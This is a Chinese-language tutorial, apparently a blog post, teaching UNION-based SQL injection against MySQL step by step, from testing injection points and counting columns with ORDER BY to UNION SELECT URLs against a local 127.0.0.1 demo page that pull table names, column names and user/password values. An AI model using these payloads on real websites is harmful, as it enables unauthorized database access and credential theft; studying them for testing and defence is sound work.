首先要了解什么是联合注入，联合查询注入是回显注入的一种，也可以说联合注入的前提是，页面上要有回显位。那又引出了另一问题，什么是回显位？

　　在一个网站的正常页面，服务端执行SQL语句查询数据库中的数据，客户端将数据展示在页面中，这个展示数据的位置就叫回显位。

　　联合注入通常是有一定的步骤：

　　　　1. 判断注入点

　　　　2. 判断注入类型（数字型型or字符型）

　　　　3. 判断字段数

　　　　4. 判断回显位

　　　　5. 确定数据库名

　　　　6. 确定表名

　　　　7. 确定字段名

　　　　8. 拿到数据

　　下面是结合实列演示的一个完整的联合注入过程：

　　1. 判断注入点

　　　　我们通过在变量后加payload来判断注入点：

　　　　and 1=1 /and 1=2 /’ 通过输入这些payload后的回显页面，我们轻松看出是否存在注入；

　　　　另外MYSQL有三种常用的注释符：

　　　　　　– 该注释符后面有一个空格；

　　　　　　/* */ 注释符号内的内容；

　　　　　　# 对该行#后面的内容进行注释。

　　

　　2. 判断注入类型

　　　　数字型的sql语句大概是下面这这类型：　　

　　select * from 【表名】 where id = 1

　　　　测试步骤：

　　　　1. 加单引号，这时sql语句后面多了一个单引号，会报错；

　　　　2. 加and 1=1，语句正常执行，页面与原始页面相同；

　　　　3. 加and 1=2，语句也可以正常执行，但页面会与原始网页存在差距

　　　　如满足以上三点，可以判断此处存在数字型注入

　　　　字符型注入的sql语句为：　　　　

　　select * from 【表名】where name = 'zhangsan’

　　　　同样加单引号，但后面要带上注释符来注释掉后面多余的单引号，具体还是拿sql语句直观看一下：　

　　select * from 【表名】where name = 'zhangsan’ and 1=1 #'

　　　　第二个单引号是我们自己加的，用来’闭合前一个引号以便我们在后面继续加代码，#用来注释掉最后面多余的’

　　　　当回显正常时我们可以判断此处为字符型注入。

　　

　　3. 判断字段数

　　　　　　order by 函数是对MySQL中查询结果按照指定字段名进行排序，除了指定字段名还可以指定字段的栏位进行排序，第一个查询字

　　　　段为1，第二个为2，依次 类推。若输入数值为n时报错，那么表示没有n个字段，总的字段数为n-1。

　　

　　4. 判断回显位置

　　　　通过上一步我们可以知道字段数，然后通过union select 1，2，3 ······n （n的数值为字段数）来判断回显位置

　　      

　　代码写的比较粗糙，四个字段都有回显，而一般情况下只有个别位置会有回显，我们要利用的就是这些位置

　　5. 确定数据库名

　　　　database() 显示当前数据库

　　　　在有回显的位置写入命令

　　      

 

　　6. 确定表名

　　　　http://127.0.0.1/727/index.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();

　　       

　　7. 确定字段名

　　　　　http://127.0.0.1/727/index.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns wheretable_name=’users’ and table_schema=database();

　　         

　　

　　8. 拿到数据

　　　　http://127.0.0.1/727/index.php?id=1 union select 1, user,pass,4 from users  where id =1